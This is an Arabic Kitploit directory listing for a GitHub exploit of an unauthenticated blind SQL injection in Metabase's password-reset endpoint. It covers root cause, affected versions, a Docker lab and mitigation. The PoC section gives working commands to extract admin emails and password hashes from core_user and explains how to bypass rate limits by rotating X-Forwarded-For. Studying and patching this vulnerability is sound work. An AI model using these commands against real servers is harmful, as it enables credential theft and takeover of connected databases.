Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-72898 — استغلال حقن SQL أعمى غير مصادق عليه لـ Metabase، يستغل حقن SQL خام في نقطة نهاية إعادة تعيين كلمة المرور لاستخراج البيانات عبر تقنيات قائمة على الوقت. | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-72898
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubeqstlab/cve-2026-72898

CVE-2026-72898

استغلال حقن SQL أعمى غير مصادق عليه لـ Metabase، يستغل حقن SQL خام في نقطة نهاية إعادة تعيين كلمة المرور لاستخراج البيانات عبر تقنيات قائمة على الوقت.

عرض المستودع
1منذ 6س 36دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-72898 ثغرة إعادة تعيين كلمة المرور في Metabase - حقن SQL غير مصادق عليه

★ CVE-2026-72898 ثغرة حقن SQL أعمى غير مصادق عليه في Metabase عبر /api/session/reset_password ★

https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59


نظرة عامة

CVE-2026-72898 هي ثغرة حقن SQL غير مصادق عليه في Metabase (CVSS 10.0) يمكن الوصول إليها عبر نقطة النهاية العامة POST /api/session/reset_password. تدمج نقطة النهاية جسم الطلب مع نتيجة المصادقة (الفاشلة) — (merge request (authenticate ...)) — لذا فإن حقل user-id الذي يوفره المهاجم يبقى دون تعديل ويصل إلى استعلام المستخدم في قاعدة بيانات التطبيق t2/select-one :model/User :id user-id بدون أي تحقق من صحة الأعداد الصحيحة. يبني Metabase استعلامات SQL باستخدام ، حيث يتم تجميع خريطة كـ (بدون ربط معاملات). لذا فإن إرسال كـ يحقن SQL عشوائيًا في قاعدة بيانات التطبيق. تعيد نقطة النهاية دائمًا ، لذا فإن الحقن ؛ يتم استرجاع البيانات باستخدام (قاعدة بيانات Postgres القياسية للإنتاج). الاستغلال الناجح يكشف بيانات مسؤول Metabase، وبيانات اعتماد الاتصال المخزنة لكل مصدر بيانات مرتبط، وتمكين الوصول الكامل إلى تلك القواعد.

HoneySQL
{:raw "..."}
جزء SQL خام
user-id
{"raw":"<SQL>"}
400
أعمى
بالاعتماد على الوقت
pg_sleep

الإصدارات المتأثرة

الفئةالإصدار
المتأثرةMetabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4
المصححةv58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 أو أحدث

التأثير

  • تنفيذ SQL عشوائي غير مصادق عليه في قاعدة بيانات تطبيق Metabase
  • الاستيلاء على حساب المسؤول وسرقة بيانات اعتماد الاتصال المخزنة لكل مصدر بيانات مرتبط
  • الوصول إلى مستودعات البيانات / قواعد بيانات الإنتاج المتصلة (سرقة البيانات)
  • الإصلاح يضيف فحص pos-int? بحيث يتم رفض user-id غير الصحيح قبل الاستعلام

البيئة

قم ببناء وتشغيل Metabase المتأثر. يستخدم قاعدة بيانات تطبيق Postgres (مطلوبة — تقنية الاعتماد على الوقت تحتاج pg_sleep، والتي تفتقر إليها H2) ويكمل الإعداد الأول تلقائيًا بحيث يبدأ إلى صفحة تسجيل الدخول. يستغرق بدء التشغيل حوالي 40–60 ثانية.

root@kitploit:~
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
الشرط المسبقالحالة في هذا المختبر
Metabase v58 – v63.4v0.62.1
قاعدة بيانات تطبيق Postgres (تمكّن pg_sleep)مدمجة في الصورة
/api/session/reset_password يمكن الوصول إليها بدون مصادقةمكشوفة
حد إعادة التعيين لكل IP (يتم تجاوزه بتدوير X-Forwarded-For)MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For

إثبات المفهوم (PoC)

يقرأ الاستغلال metabase_exploit.py أي قيمة تشير إليه، بدون بيانات اعتماد، باستخدام البدائية العمياء المعتمدة على الوقت. يرسل X-Forwarded-For عشوائيًا جديدًا لكل طلب للتغلب على حد المعدل لكل IP (كما فعلت الهجمات في البرية). اختر الهدف باستخدام --extract "<SQL>".

root@kitploit:~
# الافتراضي: استخراج بريد المسؤول الإلكتروني
python3 metabase_exploit.py 172.17.0.2:3000

# استخراج أي شيء تريده (أي تعبير SQL عددي)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
root@kitploit:~
[*] target  http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
    [  1] a
    [  2] ad
    ...
    [ 15] [email protected]

[+] EXTRACTED: [email protected]

الخيارات:

  • --check — فقط تأكيد أن الحقن قابل للاستغلال (يعرض فرق وقت pg_sleep)
  • --extract "<SQL>" — أي تعبير SQL عددي (يُحوَّل إلى نص تلقائيًا)
  • --sleep 0.4 — التأخير لكل بت TRUE (ارفعه على هدف بطيء/بعيد)

التخفيف

  • قم بترقية Metabase إلى v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 أو أحدث
  • إذا لم تتمكن من الترقية فورًا، احظر POST /api/session/reset_password عند وكيل/WAF
  • بعد التصحيح: قم بإبطال جميع الجلسات (core_session)، وراجع حسابات المسؤولين ومفاتيح API، وقم بتدوير بيانات اعتماد الاتصال لكل مصدر بيانات مرتبط (افترض أنها كشفت إذا كانت نقطة النهاية قابلة للوصول عبر الإنترنت)

التحليل

  • KR:
  • EN:
تنزيل الأداة